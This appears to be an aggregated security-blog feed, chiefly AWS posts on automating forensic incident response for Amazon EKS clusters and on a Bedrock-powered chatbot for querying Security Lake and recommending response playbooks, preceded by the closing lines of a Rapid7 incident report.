The manufacturing industry is an attack vector for nation states because it is an important component of global trade. It is also an area that has many legacy and older, operational technologies (OT). Combine unpatched legacy systems with complicated supply chains, and you have a risk that nation state actors will find an attractive target. This is especially the case when considering that many manufacturing organizations have critical contracts with governments, and attacks can cause severe disruption if they’re not speedily resolved.

Rapid7 Q1 2025 Incident Response Findings

Conclusion

Q1 2025 resembles a refinement of successful tactics, as opposed to brand new innovations brought to the table. Our Q1 ransomware analytics showed threat actors making streamlined tweaks to a well-oiled machine, and we find many of the same “evolution, not revolution” patterns occurring here.

This progression is particularly applicable in the case of initial access via valid accounts with no MFA protection. We expect to see no drop in popularity while businesses continue to leave easy inroads open and available to skilled (and unskilled) attackers.

In addition, the risk of severe compromise stemming from seemingly harmless online searches underscores the necessity for organizations to reexamine basic security best practices, alongside deploying robust detection and response capabilities. Businesses addressing these key areas for concern will be better equipped to defend against what should not be an inevitable slide into data exfiltration and malware deployment.

How to automate incident response for Amazon EKS on Amazon EC2

Post Syndicated from Jonathan Nguyen original https://aws.amazon.com/blogs/security/how-to-automate-incident-response-for-amazon-eks-on-amazon-ec2/

Triaging and quickly responding to security events is important to minimize impact within an AWS environment. Acting in a standardized manner is equally important when it comes to capturing forensic evidence and quarantining resources. By implementing automated solutions, you can respond to security events quickly and in a repeatable manner. Before implementing automated security solutions, it’s important for your security team to have a defined process and understanding of which actions to take for specific AWS resources.

In a previous two-part post, we discussed using Amazon GuardDuty and Amazon Detective to detect security issues for an Amazon Elastic Kubernetes Service (Amazon EKS) cluster. In this post, we walk through the differences of Amazon Elastic Cloud Compute (Amazon EC2) and EKS clusters on EC2 when responding to security events. By understanding the differences between the two AWS resource types, you can enhance your existing EC2 incident response (IR) automation to include EKS. Then, we walk you through the deployment and use of a sample solution based on the Automated Forensics Orchestrator for Amazon EC2 solution to automate the end-to-end incident response process for EKS, which includes acquisition, isolation, investigation and reporting.

If you’re familiar with the differences between responding and investigating Amazon EC2 and Amazon EKS resources and want to skip to the solution, skip to the Solution prerequisites.

Note: Amazon EKS on AWS Fargate, which is an AWS managed serverless computing engine, isn’t covered in this post.

Amazon EC2 compared to Amazon EKS resources for incident response

Although Amazon EKS clusters are running on EC2 instances, it’s important to understand the differences between the two and how to handle incident response automation for each resource type. EC2 is a virtual machine where you can install customized applications and packages to complete a task. Amazon EKS is an AWS managed service that you can use to run Kubernetes on EC2 instances without needing to install, operate, and maintain your own Kubernetes control plane or nodes. You can use existing plugins and tooling from the Kubernetes community. EKS clusters can have managed node groups, which create and manage the underlying EC2 instances. Because of Kubernetes cluster architecture, multiple EC2 instances within a node group can be tied to a single EKS cluster. There can also be multiple pods—each running different processes—running on an EC2 instance. GuardDuty can monitor and detect security events for EKS resources and provide information to help identify which resources are impacted, such as EKS cluster name, Kubernetes workload details, tags, and AWS Identity and Access Management (IAM) principals.

For incident response automation purposes, security teams need to understand the relationship between Amazon EKS and Amazon EC2 to determine the appropriate response to a possible security event. For example, if GuardDuty identifies Execution:Kubernetes/AnomalousBehavior.ExecInPod, you might want to investigate the command invoked on the identified pod along with other pods within the EKS cluster. To expand the investigation, you would need to capture and investigate evidence on the entire EKS cluster, which can include multiple EC2 instances.

Accessing Amazon EKS clusters using kubectl

To collect relevant forensic evidence, such as volatile memory, there might be instances where you need to run commands on Amazon EKS clusters. Kubectl is a command line tool that you can use to manage and run commands on EKS clusters using the Kubernetes API. Access with kubectl is limited to the container environment and doesn’t provide full shell access to the host. Although AWS Systems Manager (AWS SSM) can be used to interact with an EKS cluster’s EC2 instances, kubectl allows administrators to manage pods, scale applications, and view cluster logs. We dive into specific actions where kubectl is used in the later sections of this post.

When automating the workflow of response actions to an Amazon EKS cluster, you can incorporate the kubectl commands within Amazon Lambda functions. To invoke commands using kubectl, you need to get credentials for the EKS cluster to:

  1. Authenticate to an IAM principal authorized to work with Amazon EKS
  2. Obtain the EKS cluster endpoint
  3. Verify the certificate authority data for the EKS endpoint
  4. Generate a bearer token from the IAM principal
  5. Create a kubeconfig configuration dictionary

For more detailed information, see A Container-Free Way to Configure Kubernetes Using AWS Lambda and a deep dive into simplified Amazon EKS access management.

Capturing volatile memory on EKS

Volatile memory (RAM) in a memory dump is important because it contains the EC2 instance’s in-progress operations. Volatile memory is extremely important in determining the root cause of a security event. Although the commands for capturing volatile memory between EC2 instances and Amazon EKS clusters are similar, there is one important difference to keep in mind. For Linux operating systems, you can use the insmod command with the appropriate LiME kernel module (.ko file) to capture volatile memory:

sudo insmod $lime.ko "path=/path/to/dump.mem format=lime"

For Amazon EKS cluster EC2 instances, there can be multiple pods on a single EC2 instance. Knowing which process ID (PID) is associated to a pod is important to map the actions that could have resulted in a security event or compromise.

Figure 1: EKS cluster node list

Figure 1: EKS cluster node list

To get a list of PIDs on the EC2 instance, as shown in Figure 1, the following crictl command needs to be invoked:

crictl inspect $(crictl ps | grep [pod-name] | awk '{print $1}') | grep -i pid

After the crictl command is invoked, you will see the output of existing PIDs for the EC2 instance to use in the nsenter command, as shown in the following figure.

Figure 2: EKS node process ID list

Figure 2: EKS node process ID list

To create a mapping between a pod and the PID from a memory dump, the following nsenter command needs to be invoked on the target EC2 instance:

nsenter -t $PID -u hostname

After the nsenter command is invoked, you will see the output of pod and PID information for the EC2 instance, as shown in the following figure.

Figure 3: EKS node process ID to pod mapping commands

Figure 3: EKS node process ID to pod mapping commands

After you have the pod-to-PID mapping, you can export that information for later investigation. If you skip this step, the memory dump output will still have the PID information, but you won’t be able to map it back to previously running pods. It’s important to work with your security teams during forensic investigations to determine if this information is used during an investigation and update the automated workflow accordingly.

Network segmentation on EKS

After relevant forensic artifacts, such as volatile memory, disk volumes, and application logs, are collected from an Amazon EKS cluster, you might want to isolate compromised resources from the rest of your application resources. During resource isolation, EC2 instances can be isolated using security groups and network access control lists (NACLs). For EKS clusters, you can cordon the worker node, which makes the node tainted and unschedulable. When a node is cordoned, the Kubernetes scheduler is also blocked from placing new pods on the node. Another mechanism for isolating the EKS cluster is applying a Network Policy to deny ingress or egress traffic to the pod. Network policies, like NACLs, are stateless and control network traffic at the IP address or port level in an EKS cluster.

Depending on the scope of isolation, you can take the following approaches to isolating a pod on an EKS cluster in your automation.

  • Apply a network policy – You can add a network policy rule to limit ingress or egress from your pod. This will not impact other pods in the cluster unless there are additional rules applied. You would use this option if you’re sure that the compromise hasn’t gained access to the underlying EC2 instance.
  • Cordon the node – Removing the node won’t impact other nodes on the cluster but will block the scheduling of pods on the node. It doesn’t affect other nodes within the cluster.
  • Apply a security group – Applying a security group can impact the entire EC2 instance and limit traffic between Amazon EKS cluster nodes, the Kubernetes control plane, the cluster’s worker nodes, and external destinations. This is an option if you believe the underlying EC2 instance has been compromised.
  • Add a NACL rule – Like the security group option, this will impact the entire EC2 instance. Depending on the rule, it can also affect non-EKS workloads within the subnet.

Identity and access management for EKS

In addition to the IAM role associated to an EC2 instance profile, Amazon EKS uses service-linked IAM roles and Kubernetes role-based authorization control (RBAC) configuration. The IAM principal that creates the EKS cluster has system:masters permissions within the RBAC configuration on the EKS cluster. RBAC provides Kubernetes identities access for cluster-specific components and workflows. In addition to default identities created on EKS clusters, application-specific roles can be used within an EKS cluster. For example, IAM roles for service accounts (IRSA) can be used to associate an IAM role with a Kubernetes service account and assigned to containers within an EKS Pod. IRSA can help implement least privilege by restricting the Pod’s container to retrieve credentials for the IAM role associated with the Kubernetes service account. For a deeper dive into EKS IAM and how IAM roles are used within EKS, see Identity and access management for Amazon EKS.

Deciding how to revoke Amazon EKS permissions using automation can be challenging because revoking the AWS Security Token Service (AWS STS) credentials or changing the instance profile on the EC2 instance will impact all pods on the EC2 instance. Updating or changing the RBAC configurations on an EKS cluster requires application-specific knowledge to determine which identities are authorized to have specific permissions. It’s important to discuss with your application and security teams how permissions should be handled in the event of a compromised EKS cluster.

Moving to automated EKS incident response

Now that you understand the nuances of Amazon EKS on Amazon EC2 as it relates to incident response, you can decide how to incorporate functionality to respond to EKS in an existing solution your team might be using. It’s also important to understand where a human-in-the-loop needs to be incorporated to follow internal processes and procedures. Before incorporating automation into IR capabilities, you should walk through each step and verify the action the automation takes to make sure that the security and application teams are aligned. In this post, we incorporated Amazon EKS IR capabilities across acquisition, isolation, and investigation into the Automated Forensics Orchestrator for Amazon EC2 solution.

Solution prerequisites

For this walkthrough, you need to have the following elements in place:

Solution overview

The solution follows a similar pattern and workflow as the Automated Forensics Orchestrator for Amazon EC2 but has been customized for Amazon EKS.

Figure 4: Automated Forensics Orchestrator for Amazon EKS architecture

Figure 4: Automated Forensics Orchestrator for Amazon EKS architecture

The workflow, as shown in Figure 4, is:

  1. In the AWS application account, GuardDuty monitors for malicious activities that are specific to Amazon EKS resources. For example, a pod within an EKS cluster is invoking API commands using an unauthenticated system:anonymous user. GuardDuty findings are sent to Security Hub in the security account using native integration.
  2. Security Hub custom actions send finding information to Amazon EventBridge to invoke automated downstream workflows.
  3. For a specified event, EventBridge provides the EKS resource information for the forensics process to target and initiates an AWS Step Functions workflow.
  4. Step Functions triages the request as follows:
    1. Gets the EKS information, including which EC2 instances the pod is hosted on.
    2. Determines if isolation is required based on the Security Hub custom action.
    3. Determines if acquisition is required based on tags associated with the EC2 instance. The current tag that is evaluated is the following:
      • Tag name: IsTriageRequired
      • Tag key: true or false
    4. Initiates the acquisition flow based on triaging output
  5. Triaging details are stored in Amazon DynamoDB.
  6. The following two acquisition flows are initiated in parallel:
    1. Memory forensics flow – The Step Functions workflow captures the memory data and stores it in Amazon Simple Storage Service (Amazon S3). Post memory acquisition completion, the node is isolated by cordoning the node, creating a network policy, and applying a restricted security group to the cluster. To help maintain the chain of custody, a new security group is attached to the targeted instance and removes access for users, admins, or developers.
    2. Note: The isolation action is initiated based on the selected Security Hub custom action.

    3. Disk forensics flow – The Step Functions workflow takes a snapshot of the Amazon Elastic Block Storage (Amazon EBS) volume and shares it with the forensic account.
  7. Acquisition details are stored in DynamoDB.
  8. After the disk or memory acquisition process is complete, and the evidence has been captured successfully, a notification is sent to an investigation Step Functions state machine to begin the automated investigation of the captured data.
  9. The investigation Step Functions starts a forensic instance from a forensic AMI loaded with customer forensic tools:
    1. Loads the memory data from Amazon S3 for memory investigation.
    2. Creates an Amazon EBS volume from the snapshot and attaches it for disk analysis.
  10. Systems Manager documents (SSM documents) are used to run a forensic investigation.
  11. DynamoDB stores the state of the forensic tasks and their result when the jobs are complete. Investigation job details are stored in DynamoDB.
  12. Investigation details are shared with customers using Amazon Simple Notification Service (Amazon SNS).
  13. Forensic AMI is used by investigation Step Functions to perform memory and disk investigation.

Solution deployment

You can deploy the Amazon EKS IR automation solution using the AWS CDK or synthesizing a CDK into AWS CloudFormation templates and deploying them using AWS Management Console. Although the solution can be deployed in a single AWS account, the AWS Security Reference Architecture (AWS SRA) recommends that you use separate AWS accounts for forensic evidence and security tooling. The solution deployment follows AWS SRA recommendations.

The latest code for the Amazon EKS IR automation solution can be found at sample-eks-incident-response-automation, where you can also contribute to the sample code. For instructions and more information about using the AWS CDK, see Getting Started with AWS CDK.

Deploy the automation that collects, stores, and investigates forensic artifacts in the forensic AWS account:

  1. To build the app when navigating to the project’s root folder, use the following commands.
    • npm ci
    • npm run-build-lambda
  2. Run the following commands in your terminal while authenticated in your forensic solution AWS account. Be sure to replace <INSERT_AWS_ACCOUNT> with your account number and replace <INSERT_REGION> with the AWS Region that you want the solution deployed to.
  3. cdk bootstrap aws://<INSERT_AWS_ACCOUNT>/<INSERT_REGION>
    
    cdk deploy --all -c account=<INSERT Forensic AWS Account> -c region=<INSERT_FORENSIC_SOLUTION_REGION> --require-approval=never -c secHubAccount=<INSERT SECURITY_HUB_AGGREGATOR_AWS_ACCOUNT> -c STACK_BUILD_TARGET_ACCT=forensicAccount
    

    Example:

    cdk deploy —all -c account=1234567890 -c region=us-east-1 —require-approval=never -c secHubAccount=0987654321 -c STACK_BUILD_TARGET_ACCT=forensicAccount

Deploy the Security Hub custom action and EventBridge in the Security Hub Region of the delegated administrator account where security findings are consolidated:

  1. To build the app when navigating to the project’s root folder, use the following commands.
    • npm ci
    • npm run build-lambda
  2. Run the following commands in your terminal while authenticated in your Security Hub aggregator AWS account. Be sure to replace <INSERT_AWS_ACCOUNT> with your account number and replace <INSERT_REGION> with the AWS Region that you want the solution deployed to.
  3. cdk bootstrap aws://<INSERT_AWS_ACCOUNT>/<INSERT_REGION>
    	
    	cdk deploy --all -c account=<INSERT_SECURITY_HUB_AGGREGATOR_AWS_ACCOUNT> -c region=<INSERT_FORENSIC_SOLUTION_REGION> --require-approval=never -c forensicAccount=<INSERT_FORENSIC_SOLUTION_AWS_ACCOUNT> -c STACK_BUILD_TARGET_ACCT=securityHubAccount -c sechubregion=<INSERT_SECURITY_HUB_AGGREGRATOR_REGION>
    

    Example:

    cdk deploy --all -c account=0987654321 -c region=us-east-1 --require-approval=never -c forensicAccount=1234567890 -c STACK_BUILD_TARGET_ACCT=securityHubAccount -c sechubregion=us-east-1

Deploy the cross-account IAM role the security automation will use in the application AWS account where the EKS workload exists:

  1. Sign in to the AWS CloudFormation console of the application AWS account.
  2. Launch the CloudFormation cross-account-role.yml stack.
  3. Pass the following CloudFormation input parameters:
    1. solutionInstalledAccount=<Forensic Solution AWS Account Number>
    2. solutionAccountRegion=<Region of solution deployment>
    3. kmsKey=<ARN of the application account EBS volume encryption KMS key>

Use the solution to respond to an EKS GuardDuty alert

You can now use the automated solution on an Amazon EKS cluster with a GuardDuty finding that’s integrated with Security Hub. If you need to create GuardDuty findings, see How to generate security findings to help your security team with incident response simulations.

After you have an EKS security finding, you can go through either one of the IR workflows:

  • Forensic triage – This workflow evaluates in-scope EKS resources, collects volatile and non-volatile memory, conducts an investigation, and exports investigation artifacts to a forensic S3 bucket.
  • Forensic isolation – In addition to components of the previous workflow, the in-scope EKS resources are quarantined at the network and IAM layers.

In this example, you’ll use the forensic isolation workflow because that covers the end-to-end capabilities of the solution.

Run the forensic isolation workflow:

  1. Open the AWS Security Hub console in the Security Hub aggregator account.
  2. Choose Findings in the navigation pane and then select a security finding for Amazon EKS.
  3. Select the custom action for Forensic Isolation. This will start the workflow in the Security Hub aggregator account and invoke the Step Functions in the forensic account.
  4. Open the AWS Step Functions console in the forensic account.
  5. In the navigation pane, choose State Machines and then select the Forensic-Triage-Function to view the workflow graph status. In the following figure, the Step Functions workflow has successfully completed.
    Figure 5: EKS triage Step Functions graph view

    Figure 5: EKS triage Step Functions graph view

    1. In the Get Resource Info Case step, the pod name from the GuardDuty finding is extracted to identify the EKS cluster it’s part of and the related EC2 resources.
    2. Note: Per the solution, a guardrail is added to block action on an EC2 instance that is part of an EKS cluster with the IsTriageRequired tag with a value set to false. If automation is invoked against a protected EC2 instance resource, acquisitionFlow is skipped and a notification will be sent to the SNS topic.

  6. Because the EKS cluster isn’t excluded through the IsTriageRequired tag, a parallel invocation of Step Functions is invoked to capture forensic evidence.
  7. Select the Disk-Forensics-Acquisition-Function. The workflow here is similar to a normal EC2 incident response flow to capture snapshots and EBS volumes with the caveat that the EKS cluster can have multiple EC2 instances. In the following figure, the Step Functions workflow has successfully completed.
    Figure 6: Disk forensics acquisition Step Functions graph view

    Figure 6: Disk forensics acquisition Step Functions graph view

  8. Select the Memory-Forensics-Acquisition-Function; In the following figure, the Step Function workflow has successfully completed.
    Figure 7: Memory forensics acquisition Step Functions graph view

    Figure 7: Memory forensics acquisition Step Functions graph view

    1. As previously mentioned, you will need to determine if you want to map pods to process ID (PID) as part of this workflow. The automation captures the volatile memory where you will be able see the PIDs on the EC2 instance but does not map the PID to node for deeper investigation.
    2. Note: One reason you might not want to automatically map pods to PIDs is to minimize interaction with the possibly compromised cluster and quickly move towards isolation.

    3. After the Is Memory Acquisition Complete step is complete and if the Security Hub custom action for Forensic Isolation was selected, the isolation workflow of the EKS cluster begins. The isolation workflow will go through EKS-specific steps to:
      1. Label the affected pods on the EKS cluster.
      2. Apply a network policy to the affected pods.
      3. Revoke IAM role sessions.
      4. Cordon the node.
  9. Note: Depending on your desired workflow, you can edit these steps or add additional isolation steps to change instance profiles, security groups, or NACL rules.

  10. To expedite the investigation process, the Forensic-Investigation-Function is invoked when the Memory-Forensics-Acquisition-Function is completed and separately by the Disk-Forensics-Acquisition-Function. This is because of the disk and memory forensic evidence collection completing at different times. A forensic EC2 instance will be launched and begin conducting the investigation on the forensic artifacts. The completed investigation artifacts will be sent to Amazon S3 as they’re completed.
    1. You can use the console to view EKS artifacts within the dedicated S3 bucket in the forensic AWS account.
    2. Figure 8: Completed memory investigation artifacts for EKS

      Figure 8: Completed memory investigation artifacts for EKS

    3. The forensic investigation results from the automated workflow are also saved to the dedicated S3 bucket in the forensic AWS account.
Figure 9: Completed disk investigation artifacts for EKS

Figure 9: Completed disk investigation artifacts for EKS

As part of the automation, the forensic investigation EC2 instance in the forensic account is terminated after investigation is completed. The automation can be updated to retain the EC2 instance to so that your security teams can continue their investigation and review investigation artifacts to expedite root cause analysis.

As previously mentioned, the workflow you just went through encompasses both investigation and isolation of Amazon EKS resources. If your security teams want to conduct a more thorough investigation prior to isolating EKS resources, select the Forensic Triage custom action in Security Hub. Additionally, if you want to update the solution to be invoked from your security incident and event management (SIEM) tool, you can directly invoke the Forensic-Triage-Function Step Functions from your SIEM.

Clean up

For the cross-account IAM role in the application account, you can:

  1. Go to the AWS CloudFormation console for the application account and Region where you deployed the cross-account IAM role, select the cross-account-role stack.
  2. Choose the option to Delete the stack.

To clean up the CDK stacks, run the following command in the source folder in the Security Hub aggregator account and forensic account.

cdk destroy --all

Conclusion

In this post, we showed you the differences between Amazon EKS and Amazon EC2 resources and how to handle EKS automation for incident response. Even though EKS clusters are on EC2 instances, it’s important to understand the differences before implementing an automated solution that will affect EKS resources. We also walked through the deployment of an EKS-customized Automated Forensics Orchestrator for Amazon EC2 solution and showed you the end-to-end IR lifecycle to respond to a possible EKS compromise. The same approach to customize existing EC2 IR automated solutions can be used to expand support for EKS resources within your AWS environment to increase your security posture.

If you have feedback about this post, submit comments in the comments section that follows. If you have questions about this post, start a thread on re:Post.

Jonathan Nguyen
Jonathan Nguyen

Jonathan is a Principal Security Solution Architect at AWS. He helps large financial services customers develop a comprehensive security strategy and solutions to meet their security and compliance requirements in AWS.
Gopinath Jagadesan
Gopinath Jagadesan

Gopi is a Senior Solution Architect at AWS. In his role, he works with Amazon as his customer helping design, build, and deploy well architected solutions on AWS. He holds a master’s degree in electrical and computer engineering from the University of Illinois at Chicago. Outside of work, he enjoys playing soccer and spending time with his family and friends.

Use an Amazon Bedrock powered chatbot with Amazon Security Lake to help investigate incidents

Post Syndicated from Madhunika Reddy Mikkili original https://aws.amazon.com/blogs/security/use-an-amazon-bedrock-powered-chatbot-with-amazon-security-lake-to-help-investigate-incidents/

In part 2 of this series, we showed you how to use Amazon SageMaker Studio notebooks with natural language input to assist with threat hunting. This is done by using SageMaker Studio to automatically generate and run SQL queries on Amazon Athena with Amazon Bedrock and Amazon Security Lake. The Security Lake service team and the Open Cybersecurity Schema Framework (OCSF) community continue to add additional log sources and OCSF mappings to enable Security Lake to provide a consolidated source for customers to conduct security investigation.

Because security logging data sources continually grow, organizations need to provide a mechanism for their security teams to understand and query those data sources. You might have existing investigation and response playbooks that your security teams need to be well-versed in and know when to use. It can take security teams an extended period of time to onboard and understand the available security data sources and playbooks and how to efficiently use them to reduce the mean time to respond.

In this post, we show you how to extend the functionality from the previous post. You will learn how to deploy a security chatbot with a graphical user interface (GUI) and a serverless backend powered by an Amazon Bedrock agent that incorporates existing playbooks to investigate or respond to a security event. The chatbot demonstrates purpose-built Amazon Bedrock agents that help address security concerns depending on the user’s natural language input. The solution has a single GUI that provides a direct interface with the Amazon Bedrock agent to create and invoke SQL queries or provide recommendations for internal incident response playbooks to investigate or respond to possible security events.

Security chatbot sample solution overview

Figure 1: Security chatbot sample solution architecture diagram

Figure 1: Security chatbot sample solution architecture diagram

Application flow as shown in Figure 1:

  1. User submits a query through the React UI.

    Note: The React UI used in this solution doesn’t have authentication built in. It’s recommended that you add authentication capabilities that follow your organization’s security requirements. You can add authentication capabilities by using Amazon Cognito and AWS Amplify UI.

  2. The user’s query is sent to an Amazon API Gateway REST API, which invokes the Invoke Agent AWS Lambda function.
  3. The Lambda function invokes the Amazon Bedrock agent with the user’s query.
  4. The Amazon Bedrock agent (using Anthropic’s Claude 3 Sonnet) processes the query and decides between retrieving information from the playbooks or by querying Security Lake using Amazon Athena.

For playbook knowledge base queries:

  1. The Amazon Bedrock agent queries the playbooks knowledge base and retrieves relevant results.

For Security Lake data queries:

  1. The Amazon Bedrock agent queries the schema knowledge base and retrieves the Security Lake table schemas to create an SQL query.
  2. The Amazon Bedrock agent invokes the SQL query action from the Amazon Bedrock action group, passing the SQL query as a parameter.
  3. The action group invokes the Execute SQL on Athena Lambda function, which executes the query on Athena and returns the results to the Amazon Bedrock agent.

After retrieving results from the knowledge base or action group:

  1. The Amazon Bedrock agent uses the retrieved information to formulate the final response and sends it back to the Invoke Agent Lambda function.
  2. The Lambda function sends the response back to the client using an API Gateway WebSocket API.
  3. API Gateway delivers the response to the React UI using a WebSocket connection to the client.
  4. The agent’s response is displayed to the user in the chat interface.

Prerequisites

Before deploying the sample solution, complete the following prerequisites:

  1. Enable Security Lake in your organization in AWS Organizations and specify a delegated administrator account to manage the Security Lake configuration for all member accounts in your organization. Configure Security Lake with the appropriate log sources: Amazon Virtual Private Cloud (Amazon VPC) Flow Logs, AWS Security Hub, AWS CloudTrail, and Amazon Route53.
  2. Create subscriber query access from the source Security Lake AWS account to the subscriber AWS account.
  3. Accept a resource share request in the subscriber AWS account in AWS Resource Access Manager (AWS RAM).
  4. Create a database link in AWS Lake Formation in the subscriber AWS account and grant access for the Athena tables in the Security Lake AWS account.
  5. Grant Anthropic’s Claude v3 model access for Amazon Bedrock in the AWS subscriber account where you will deploy the solution. If you try to use a model before you enable it in your AWS account, you will get an error message.

With the prerequisites in place, the sample solution architecture provisions the following resources:

  1. Amazon CloudFront with an Amazon Simple Storage Service (Amazon S3) origin.
  2. An Amazon S3 static website for the chatbot UI.
  3. An API Gateway to call a Lambda function.
  4. A Lambda function to invoke the Amazon Bedrock agent.
  5. An Amazon Bedrock agent with a knowledge base.
    1. An Amazon Bedrock agent action group to generate and invoke SQL queries on Athena.
      1. An Amazon Bedrock knowledge base to reference example Athena table schemas in Security Lake. Although the Amazon Bedrock agent can get rows directly from the Athena table, providing example table schemas improves SQL query generation accuracy for table columns in Security Lake.
      2. An Amazon Bedrock knowledge base to reference existing incident response playbooks. By incorporating this knowledge base, the Amazon Bedrock agent can suggest actions for investigation or response based on existing playbooks that have already been approved by your organization.

Cost

Before deploying the sample solution and walking through this post, it’s important to understand the cost of the AWS services being used. The cost will largely depend on the amount of data you interact with in Amazon Bedrock and by querying Security Lake with Athena.

  1. Security Lake costs are determined by the volume of log and event data ingested from AWS services. Security Lake orchestrates other AWS services on your behalf, which incur separate charges. You can find more information on pricing for the respective services: Amazon S3, AWS GlueAmazon EventBridgeAWS LambdaAmazon Simple Query Service (Amazon SQS), and Amazon Simple Notification Service (Amazon SNS).
  2. Amazon Bedrock on-demand pricing is based on the selected large language model (LLM) and the number of input and output tokens. A token is comprised of a few characters and refers to the basic unit of text that a model learns to understand the user input and prompts. For more details, see Amazon Bedrock pricing.
  3. The SQL queries generated by Amazon Bedrock are invoked using Athena. Athena cost is based on the amount of data scanned within Security Lake for that query. For more details, see Athena pricing.

Deploy the sample chatbot

You can deploy the sample solution by using AWS Cloud Development Kit (AWS CDK). For instructions and more information on using the AWS CDK, see Get Started with AWS CDK.

  1. Clone the sample-generative-ai-chatbot-for-amazon-security-lake repository.
  2. Navigate to the project’s root folder.
  3. Install the project dependencies.
  4. Build and deploy the app using the following commands:
    npm install -g aws-cdk
    npm install 
    cdk synth
    

  5. Run the following commands in your terminal while signed in to your subscriber AWS account. Replace <INSERT_AWS_ACCOUNT> with your account number and replace <INSERT_REGION> with the AWS Region that you want the solution deployed to.
    cdk bootstrap aws://<INSERT_AWS_ACCOUNT>/<INSERT_REGION>
    cdk deploy –all
    

As part of the CDK deployment, there is an Output value for the React Application URL (FrontendAppStack.ReactAppUrl). You will use this value to interact with the GenAI application. Wait up to 5 mins for the URL to be live.

Post-deployment configuration steps

Now that you’ve deployed the solution, you need to add permissions to allow the Lambda function’s AWS Identity and Access Management (IAM) role and Amazon Bedrock to interact with your Security Lake data.

Grant permission to the Security Lake database

  1. Copy the Lambda’s role ARN from the “BedrockAppStack” CloudFormation stack. The resource in the stack is named “athenaAgentSecurityLakeActionGroupLambdaServiceRole********”.
  2. Go to the Lake Formation console.
  3. Select the amazon_security_lake_glue_db_<YOUR-REGION> database. For example, if your Security Lake is in us-east-1, the value would be amazon_security_lake_glue_db_us_east_1
  4. For Actions, select Grant.
  5. In Grant Data Permissions, select SAML Users and Groups.
  6. Paste the Lambda function IAM role ARN from Step 1.
  7. In Database Permissions, select Describe, and then choose Grant.

Grant permission to Security Lake tables

You must repeat the following steps for each source configured within Security Lake. For example, if you have four sources configured within Security Lake, you must grant permissions for the Lambda function IAM role to each table. If you have multiple sources that are in separate Regions and you don’t have a rollup Region configured in Security Lake, you must repeat the steps for each source in each Region.

The following example grants permissions to the Security Hub table within Security Lake. For more information about granting table permissions, see the AWS Lake Formation user guide.

  1. Copy the Lambda’s role ARN from the “BedrockAppStack” CloudFormation stack. The resource in the stack is named as “athenaAgentSecurityLakeActionGroupLambdaServiceRole********”.
  2. Go to the Lake Formation console.
  3. Select the amazon_security_lake_glue_db_<YOUR-REGION> database.
    For example, if your Security Lake database is in us-east-1, the value would be amazon_security_lake_glue_db_us_east-1
  4. Choose View Tables.
  5. Select the amazon_security_lake_table_<YOUR-REGION>_sh_findings_1_0 table.
    For example, if your Security Lake table is in us-east-1, the value would be amazon_security_lake_table_us_east_1_sh_findings_1_0

    Note: Each table must be granted access individually. Selecting All Tables won’t grant the access needed to query Security Lake.

  6. For Actions, select Grant.
  7. In Grant Data Permissions, select SAML Users and Groups.
  8. Paste the Lambda function IAM role ARN from Step 1.
  9. In Table Permissions, select Describe, and then Grant.

Sync data sources

After you deploy the infrastructure, you need to sync the data sources in the Amazon Bedrock knowledge bases so that the data in Amazon S3 can be vectorized and made available in Amazon OpenSearch Serverless, which is the service used as a vector source by the knowledge bases in this solution.

  • In the Amazon Bedrock console, select Knowledge base and find the two Amazon Bedrock knowledge bases deployed in this solution: gen-ai-sec-lake-table-schema and gen-ai-sec-lake-runbooks. Navigate to each knowledge base and its data source. Then choose Sync for each data source.

Get the CloudFront distribution URL

As part of the sample solution, the chatbot uses an externally available CloudFront distribution URL. It’s recommended that you add appropriate security controls that align to your organization’s security requirements to the sample solution. For example, you might want to add authentication to CloudFront using Amazon Cognito and Lambda@Edge to help prevent unauthorized users from accessing this chatbot. You can also configure secure access and restrict access to the content.

  1. Navigate to CloudFormation in the console.
  2. In the Stacks section, select the FrontendAppStack.
  3. Select the Outputs tab.
  4. Copy the value ReactAppUrl.

Investigate with your security chatbot

Now that you’ve deployed the sample solution and configured the appropriate permissions, you’re ready to use natural language input to generate and invoke SQL queries and to recommend internal incident response playbooks.

Generate and invoke SQL queries

Although most security professionals already know how to create and invoke SQL queries, time is extremely important during a possible security event. Adding natural-language-to-SQL capability to the security agent can help reduce your mean time to respond, which can reduce the overall impact of a security event. Furthermore, you can use these same techniques for threat hunting in your AWS environment.

Question 1: Which AWS accounts have the most security findings for EC2 instances in the last 7 days?

Answer 1: The query results show the top two AWS accounts with the most security findings related to EC2 instances in the last 7 days. The account with ID XXXXXX10 had the highest number of findings at 252, followed by account XXXXXX28 with 197 findings.

The query covered the key requirements, so I provided the final answer summarizing the top accounts and their finding counts.

The question and response are shown in Figure 2.

Figure 2: Response for most EC2 security findings

Figure 2: Response for most EC2 security findings

The more context you provide to the chatbot, the better the query that will be generated. Providing a time window also gives a smaller data set to review and give quicker results.

Question 2: In those AWS accounts, what were the top EC2 security finding types?

Answer 2: Based on the query results, the top EC2 security finding types in the AWS accounts with the most EC2 instance findings in the last 7 days were:

For account XXXXXX10:

  1. “Compliance Finding: Update” with 252 findings

For account XXXXXX28:

  1. “Compliance Finding Update” with 166 findings
  2. “Compliance Finding Create” with 24 findings
  3. “Vulnerability Finding: Update” with 2 findings
  4. “Vulnerability Finding: Create” with 2 findings.

The question and response are shown in Figure 3.

Figure 3: Response for top EC2 security finding types

Figure 3: Response for top EC2 security finding types

The results show that the issues are primarily around Security Hub controls mapped to the type_name OCSF column. If you want to look at a different column, you can provide additional instructions or update the question.

Question 3: Which EC2 instances had vulnerability security findings?

Answer 3: Based on the query results, the following EC2 instances had vulnerability security findings in the AWS account with the most EC2 instance findings in the last 7 days:

In account XXXXXX28:

  1. arn:aws:ec2:us-east-1: XXXXXX28:instance/<instance-id>
  2. arn:aws:ec2:us-east-1: XXXXXX28:instance/<instance-id>

There were no vulnerability findings for EC2 instances in account XXXXXX10 during this time period.

The question and response are shown in Figure 4.

Figure 4: Response for EC2 instances with vulnerability security findings

Figure 4: Response for EC2 instances with vulnerability security findings

In this question, the search is narrowed down to two Amazon Elastic Compute Cloud (Amazon EC2) instances within a specific AWS account to take a deeper look into.

Recommend incident response playbooks

As part of this sample solution, we used the AWS Incident Response Playbook Samples GitHub repository and uploaded them to an S3 bucket. Alternatively, you can create or reference your own playbooks to investigate and respond to various security events to refer to. After each question, the chatbot provides an answer along with an Amazon S3 URL to the playbook. The security analyst must have the appropriate permissions to download the playbook from Amazon S3.

Question 1: Do I have any playbooks that would help investigate a compromised EC2 instance for crypto mining or malware?

Answer 1: Yes, the search results include a relevant playbook for investigating a potentially compromised EC2 instance that could be used for crypto mining, malware, or ransomware. The key steps outlined in the playbook are:

